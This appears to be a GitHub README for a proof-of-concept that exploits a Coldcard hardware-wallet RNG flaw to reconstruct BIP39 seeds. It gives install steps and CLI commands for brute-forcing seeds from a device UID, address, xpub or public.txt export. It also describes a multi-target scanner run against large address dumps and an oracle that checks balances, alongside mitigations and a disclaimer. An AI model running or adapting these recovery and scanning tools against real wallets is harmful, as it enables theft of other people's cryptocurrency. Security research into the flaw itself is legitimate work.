Skip to content

Repository files navigation

Coldcard Mk3 RNG Vulnerability — Proof of Concept

Security research tool demonstrating the deterministic RNG fallback in Coldcard Mk2/Mk3 firmware v4.0.0–v4.1.9.


Overview

On July 30, 2026, Block Engineering disclosed a critical vulnerability in Coldcard hardware wallets: the firmware's random number generator (RNG) fell back to a deterministic software PRNG (Yasmarang) seeded from predictable hardware state, reducing effective entropy from 256 bits to approximately 16 bits on cold boot.

This repository contains a bit-exact Python reproduction of the vulnerable RNG chain, allowing researchers to:

  1. Reproduce the exact seed generation process of affected devices
  2. Demonstrate seed recovery from known device state (UID + SysTick)
  3. Understand the attack surface for hardware wallet RNG implementations
  4. Assess risk for Coldcard users via the defensive assessment tool

596.48 BTC (~$38.2M at the time) was stolen from 500+ wallets in under 41 minutes, confirming the vulnerability was actively exploited.


Technical Details

Root Cause

The firmware defines MICROPY_HW_ENABLE_RNG to 0 (disabled), but libngu checks with #ifndef instead of #if:

// stm32/COLDCARD/mpconfigboard.h:77
#define MICROPY_HW_ENABLE_RNG (0)

// libngu/random.c:28 — BUG: #ifndef instead of #if
#ifndef MICROPY_HW_ENABLE_RNG
# error "get a HW TRNG plz"   // NEVER REACHED — macro IS defined
#endif

This causes rng_get() to call the deterministic Yasmarang PRNG instead of the hardware TRNG.

RNG Architecture

Two Yasmarang generators are XORed together:

Generator Seed Source
A (MicroPython) pad = UID_low32 ^ SysTick->VAL, n = RTC->TR, d = RTC->SSR ports/stm32/rng.c
B (libngu) pad = 0x0a8ce26f, n = 69, d = 233 ngu/random.c (public constants)

On cold boot (RTC=0), the entire seed is determined by:

  • UID_low32 (32 bits, extractable via USB serial number or public.txt)
  • SysTick->VAL (~80,000 possible values for Mk2/Mk3)

Seed Generation Chain

UID_low32 ^ SysTick, RTC_TR, RTC_SSR
    ↓
Yasmarang A ⊕ Yasmarang B → 32 raw bytes
    ↓
SHA256 (single, not double) → 32 hashed bytes
    ↓
BIP39 mnemonic (24 words) → PBKDF2 2048 rounds → BIP39 seed
    ↓
BIP32 master key → m/84'/0'/0'/0/0 → bech32 address

Search Space

Scenario Combinations Recovery Time (single core)
Cold boot, RTC=0, UID known 79,999 ~2 minutes
Cold boot, RTC unknown ~1.77 × 10¹² ~159 hours
Cold boot, UID unknown, RTC=0 2³² (pad space) ~107 days
Mk4 with 32-bit reseed 2³² ~25 days

Installation

git clone (https://github.com/domaup/coldcard-poc.git)
cd coldcard-poc
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt

# Optional: build C reference for bit-exact validation
make ref

Dependencies

  • Python 3.10+
  • mnemonic — BIP39 mnemonic generation
  • bip32utils — BIP32 key derivation
  • ecdsa — ECDSA (fallback)
  • secp256k1 — Fast secp256k1 operations (~4x speedup)
  • requests — Blockchain API queries

Quick Start

1. Run Self-Tests

# Verify the Yasmarang implementation against known test vectors
python yasmarang.py

# Full bit-exact validation against the C reference
python bounded_poc.py --self-test

Expected output:

✓ Yasmarang vectors (default seed)               identical
✓ Cross-check seed_chain == yasmarang.ColdcardRNG identical
✓ Bit-exact chain vs reference_impl.c             identical
✓ SysTick recovered = 4242 in 5.0s

2. Simulate a Vulnerable Seed Generation

python main.py --simulate --uid 0xDEADBEEF --systick 12345

3. Brute-Force Recovery (UID Known)

# With target mnemonic
python main.py --uid 0xABCDEF00 --bruteforce \
  --mnemonic "abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about"

# With target address
python main.py --uid 0xABCDEF00 --bruteforce \
  --address bc1qz9kn2euv5kys270tkt3wlmmv0rl8u7qpaecw9c

# With target xpub
python main.py --uid 0xABCDEF00 --bruteforce \
  --xpub "xpub6..."

4. Extract UID from Coldcard Export

python main.py --public-txt /path/to/public.txt --bruteforce --address bc1q...

5. Check a Seed on the Blockchain

python blockchain_oracle.py --seed "word1 word2 ... word24"
python blockchain_oracle.py bc1qz9kn2euv5kys270tkt3wlmmv0rl8u7qpaecw9c

6. Defensive Risk Assessment

python risk_self_assessment.py --model mk3 --firmware 4.1.9
python risk_self_assessment.py --model mk4 --firmware 5.2.1 --passphrase yes --dice 100

Project Structure

coldcard-poc/
├── README.md                  # This file
├── Makefile                   # Build C reference, run tests
├── requirements.txt           # Python dependencies
├── yasmarang.py               # Core: Yasmarang PRNG implementation
├── bounded_poc.py             # Self-contained PoC with auto-tests
├── seed_recovery.py           # BIP39/BIP32 derivation + verification
├── main.py                    # CLI: simulation, brute-force, checkpointing
├── blockchain_oracle.py       # Address verification via Blockstream/Mempool APIs
├── risk_self_assessment.py    # Defensive tool for Coldcard owners
├── build_targets.py           # Build hash160 target database from TSV dumps
├── fast_scan.py               # Multi-target pad scanner with mmap O(log n) lookup
└── reference_impl.c           # C reference (verbatim firmware code) for validation

Validation

Bit-Exact Against C Reference

The file reference_impl.c contains code copied verbatim from the actual firmware sources:

  • micropython/ports/stm32/rng.c (Yasmarang fallback)
  • libngu/ngu/random.c (combined RNG stream)

Compiled with -funsigned-char (ARM EABI semantics), its output matches the Python implementation byte-for-byte:

$ ./reference_impl 0xABCDEF00 4242 0 0
raw_entropy: 8abd69aa4447f0b0394949b4e9fc79adf4f127f31cbad5f42a6bba8678013515
sha256s:     ce13362f230633985b37e6ed291af594e7804e36d853721ffad6e8d2fb132706

$ python main.py --simulate --uid 0xABCDEF00 --systick 4242
[1] Raw entropy (32 bytes): 8abd69aa4447f0b0394949b4e9fc79adf4f127f31cbad5f42a6bba8678013515
[2] After SHA256:           ce13362f230633985b37e6ed291af594e7804e36d853721ffad6e8d2fb132706

Round-Trip Recovery

$ python main.py --simulate --uid 0xDEADBEEF --systick 12345
Mnemonic: mimic vote essence fluid easily special power talk road sword tourist ...

$ python main.py --uid 0xDEADBEEF --bruteforce \
  --mnemonic "mimic vote essence fluid easily special power talk road sword tourist ..."
✓ FOUND after 12,345 attempts (37.8s)
✓ SysTick->VAL = 12345

Verified Against Firmware v4.1.9 Source

Element Real Firmware PoC Status
make_new_wallet() random.bytes(32)sha256s Identical
Word count Always 24 (assert len(words) == 24) 24
Yasmarang init MP pad=UID_low32^SysTick, n=RTC_TR, d=RTC_SSR Identical
Yasmarang init libngu pad=0x0a8ce26f, n=69, d=233 Identical
Combination chip = rng_get() ^ my_yasmarang() Identical
Standard boot RNG calls 0 calls before make_new_wallet prior_calls=0 default

Performance

Operation Speed (single core) Speed (6 workers)
Raw derivation (Yasmarang + SHA256 + BIP39) ~10,500/s ~63,000/s
Full chain (PBKDF2 + BIP84 address) ~550/s ~3,300/s
80k SysTick scan (oracle mode) ~145s ~24s
Pad scan vs 9M address DB ~470/s ~2,800/s

Affected Devices

Model Firmware Impact
Mk1 All Not affected (hardware TRNG)
Mk2 4.0.0 – 4.1.9 Full seed recovery (~80k combinations with UID)
Mk3 4.0.0 – 4.1.9 Full seed recovery (~80k combinations with UID)
Mk4 5.0.0 – 5.5.9 32-bit reseed (2³² pad space)
Mk5 5.0.0 – 5.5.9 32-bit reseed (2³² pad space)
Q 1.0.0 – 1.4.9 32-bit reseed (2³² pad space)

Mitigations

For Users

  1. Create a new seed on fixed firmware (v4.2.0+ for Mk3, v5.6.0+ for Mk4)
  2. Transfer all funds immediately — updating firmware does NOT fix already-generated seeds
  3. Use a strong BIP39 passphrase — passphrases block this attack entirely (not derived from the RNG)
  4. Use dice-generated entropy (50+ rolls = 128+ bits of independent entropy)

For Developers

  1. Never use #ifndef to check boolean macro values — use #if !defined(MACRO) || !(MACRO)
  2. Always incorporate a hardware entropy source — software PRNG fallbacks are unacceptable for key generation
  3. Add runtime entropy tests — the firmware's only check was len(set(seed)) > 4, which catches only ~0.001% of weak seeds

References


Disclaimer

THIS SOFTWARE IS PROVIDED FOR SECURITY RESEARCH AND EDUCATIONAL PURPOSES ONLY.

Do not use on wallets you do not own. Unauthorized access to others' funds
is illegal and constitutes theft.

The authors assume no liability for misuse of this code.

License

This project is released into the public domain for research and educational purposes. The Yasmarang implementation is based on Ilya Levin's original public domain code.

About

Coldcard Mk3 RNG vulnerability PoC — BIP39 seed reconstruction tool for the Block security disclosure (July 2026)

Topics

Resources

Stars

125 stars

Watchers

3 watching

Forks

Releases

Packages

Contributors

Languages